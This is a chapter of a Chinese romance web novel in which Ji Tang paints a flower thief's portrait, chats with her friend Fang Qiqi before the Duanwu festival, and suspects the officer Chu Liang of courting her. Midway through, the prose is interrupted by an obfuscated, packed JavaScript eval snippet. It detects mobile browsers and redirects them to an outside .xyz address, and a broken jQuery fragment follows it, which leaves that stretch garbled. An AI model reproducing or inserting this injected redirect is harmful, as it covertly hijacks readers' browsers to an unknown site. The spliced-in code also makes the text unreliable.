15. 有意
作品:《小青梅她不开窍》 接下来的几日,纪棠在战栗中度过。
住在这里已是多有打扰,她万不敢拿乔托大,生怕言清一不开心又要她赔罪。
没东西可赔,总不能叫他也给自己肩膀也揍一下。
好在他最近貌似很忙,平日里早出晚归,无暇顾及于她。她也落得清闲,躲在屋子里画画,连门都不出。直到采花贼的画像完成后,鼓起勇气敲开言清的房门。
为了防止上次无意偷看的事情再度发生,纪棠这次特意选在白日,听见屋内传来一声应允后这才进去。
虽说她不介意,但难保人家不会介意啊。
房间内交谈的声音戛然而止,纪棠笑意盈盈,甜甜地唤了一声:“言大人。”
笑容还未持续多久,一抬头,见到一个不速之客。
“是你?”
上次在街上拦着她检查腰牌,不放她走的冰块脸二号!
见她终于主动来找自己一次,言清冰冷的目光添了些许暖意:“饿不饿?”
“还好。”纪棠老实回答,扬着脖子从褚梁面前经过,轻哼一声。
那人手里拿着一副画像,紧紧盯着画上魁梧的通缉犯:“采花贼善于伪装,依下官所见,不如将纪姑娘的画像与下官所作的画像一同对比,检查其共同点。”
纪棠如临大敌。
这人竟要跟她抢画师的位置?
她抱着画像走到言清身边,挺直腰板,壮似无意地开口:“我是亲眼见过采花贼真容之人,画得一定比某些人好。”
褚梁没有抬眼,恭敬站在一旁:“大人,纪姑娘言之有理,下官画技难登大雅之堂,若无其他吩咐,先行告退。”
途径纪棠身边时,这才短暂地看了一眼。
身边擦过一道劲风,凉飕飕的,纪棠忍不住摸了下手臂,真是有什么官就有什么手下,这人跟言清一样长了个冷脸。
余光偷偷扫了一眼,发现言清对他离开并无任何惋惜的神情,心情忽然又好了起来。
她对自己的画还是很有信心的,待人走后,凑到言清身边,小声咕哝:“原来这就是你寻的新画师?”
“凶巴巴的,脸上都没有笑容。”
眼前的少女靠得越来越近,仿佛回到了儿时没有芥蒂那般。
言清勾起嘴角,开始认真打量起手里的画像。
左手边这幅,面容粗犷,浓眉大眼,而右手边这幅,面容清秀,倒像是个女子。
两张图画得虽天差地别,但细细看去,魁梧那张显然是做了伪装的,其中有一个很重要的细节,是他从前没有注意的。
二者,都没有喉结。
想到这,他下意识摸了摸自己的喉咙。
纪棠见他不说话,一直在摸脖子,觉得自己应该贴心一点,主动抚上他的喉结:“大人这里很痛吗?要不要我帮你揉揉?”
“......没有。”言清把她的手从自己身上拿下来。
“真的不用吗?”纪棠又确认一遍。
“嗯。”
“那好吧。”
她其实也没有很想帮忙,但阿娘说,她要学着为言清做点什么,不好白白叫人庇佑。
纪棠略有失落。
她在家只有被照顾的份,粗手笨脚的,哪里学过这些呢?
看来要找个机会学一学如何照顾人才是。
只可惜,纪棠的出门学习计划最终以失败告终。
天空下起蒙蒙细雨,连纪不理都像个霜打了的茄子,不似从前那样活泼,蜷在角落里舔自己的爪子。
纪棠无聊地开始在屋子里重操旧业,继续画邹掌柜给她的话本子插图。
上次她去书肆寻了好多关于情爱的话本子,希望能帮言清赢得美人归,邹掌柜听闻她要看关于情爱的书,一股脑儿地给她塞了不少。
无论是本朝新作还是前朝孤本,抱了整整一箩筐。
不过手里这本书,略有不同。
上面描述男女主人公拥抱、亲吻的姿势动作,她几乎很少见过。
准确来说,是压根没见过。
没见过,如何能画得出来?
未免有些强人所难。
纪棠叹了一口气,百无聊赖地又翻开下一页,依旧是两人的浓情蜜意时刻。
画不下去了。
门外忽然传来柔柔的女声:“棠棠。”
骤然一听熟悉的声音,纪棠放下书本小跑到门口,看清来人是谁之后,兴奋道:“萋萋,你怎么来啦?”
方萋萋挎着一个食盒,温婉笑道:“过几日便是端午,我亲手做了些粽子和长命缕拿来给你。”
“还是你对我好!”
不像言清,日理万机,上次弄掉她的粽子还没有时间赔呢。
纪棠挽着她的手,还未高兴多久,就见到旁边的褚梁,一副生人勿近的模样。
方萋萋朝一边的褚梁微笑颔首:“有劳大人送我过来。”
褚良静静看了半晌,抱拳回道:“姑,姑娘客气了。”
怎么还结巴了?
纪棠好奇道:“你认识那个冰块脸?”
方萋萋摇头:“不认识。”
“我到门口正好碰见他,他便好心带我来了。”
“他?”
能有这个好心?
上次可是怎么说都不让她通行呢,竟然轻而易举地让萋萋进来?
纪棠难以置信,决定先不要思考那么多,伸出手让方萋萋把长命缕给她戴上。
长命缕五彩斑斓,她看得新鲜,忽地想起了什么:“上次你被禁足,我一个人偷跑到官府后门,见到一个大着肚子的女子给言清也送了长命缕。”纪棠顿了一下,复而小声道:“还叫他言郎......”
当真是亲密无间。
“这不太像言大人的性子吧?”
方萋萋觉得她定是看错了,就算不是大着肚子的女子,言清也不会收下旁人的东西的。
“我亲眼所见,也是亲耳听到,一字不差。”纪棠信誓旦旦:“就是‘言郎’。”
“这......”方萋萋欲言又止。
也就只有她瞧不出言清的心思罢了,这个傻姑娘,能光明正大住进官府,除了家眷还能是什么关系?
她自知对婚事寒心,不想好友也被退婚一事困扰,暗示道:“那言大人,可有戴上那女子送的长命缕?”
纪棠想都没想,直言道:“没有,他应当喜欢凶猛一点的。”
就像她送的那个小老虎一样。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15646895|171897||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
方萋萋了然,继续引导她:“你既说你又伤了他,不如也做条长命缕作为补偿?”
“可我不会啊......”纪棠反复端详腕上的长命缕,上面依着她的喜好还穿上了两个铃铛,随着动作声音清脆作响。
“就算做了,他也不会接受的。”
“不试试,又怎么知道?”方萋萋是过来人,也曾有过年少慕艾,握着纪棠的手:“无论是赔罪也好,朋友之间的礼尚往来也好,不管他是否接受,你都需要先表达自己的心意,不是吗?”
纪棠若有所思。
许久未见,两个小姑娘聊了一下午,直至天黑仍意犹未尽。
雨过天晴,两人站在屋檐下,依依不舍地分开。
褚梁不知从哪突然冒出来,沉声道:“大人派下官送姑娘回府。”
方萋萋疑惑地看向纪棠。
纪棠疑惑地看向冰块脸。
今天下雨,压根没太阳。
有猫腻。
果不其然,自那日过后,褚梁开始主动来向纪棠讨教一些画像上的事。
可说是讨教,大多数时候,却是他在问她一些其他跟画画无关的事。
不是询问她经常去什么地方玩,就是问她喜欢吃什么。
纪棠含糊其辞,以为这人会就此作罢,没想到消停几天,褚梁又主动跟她偶遇。
这下就连抱竹都发现了不对劲,谁不知道纪姑娘是大人心尖上的人,这一回京就替她教训伯府的李公子,摆平流言。又解决了对纪姑娘出言不逊的范成济,赶走崔氏,甚至还一同搬来官府居住。
也不知大人所做这些,纪姑娘什么时候能发现。
抱竹默默叹气,在纪棠院子门口转悠半天,终于鼓起勇气旁敲侧击道:“褚大人最近都跟姑娘聊了些什么呢?”
“你怎么知道他最近总来寻我?”
纪棠略感不妙。
褚梁绝对是要偷师!
这可不行。
庄爷爷的功力深厚,她跟着学了这么多年才学到几成,远远达不到授人以渔的程度,平白误人子弟。
她只好在褚梁再次来寻她的时候,义正言辞地拒绝:“褚大人,我的水平和资历断不可传授给你什么经验。”
褚梁没有被拒绝的羞恼,本就是醉翁之意不在酒,他从怀里掏出一个平安符:“我想麻烦......”
“不,你不想!”
纪棠拔腿就跑。
那个平安符,她见过的,当初杨泉来上门提亲时,也给过她一个,退亲之时都还回去了。
这个褚梁,该不会是喜欢她吧?
无奈之下,她只好又去求助言清。
“大人,我有一个大胆的想法。”纪棠喘着粗气,实在是被吓坏了,也没想那么多,拿起桌子上的茶杯一饮而尽。
“慢些。”言清听她喋喋不休了半天,大致弄懂了来龙去脉,又给她重新倒了一杯茶,把她方才喝的茶杯推到自己面前,也倒满茶水。随后面不改色问道:“什么想法,说来听听?”
纪棠看了一圈,确认附近无人后,神情无比认真:“我怀疑褚大人对我有意。”
言清笑容凝固在嘴角,语气透着不易察觉的冰冷:“嗯?”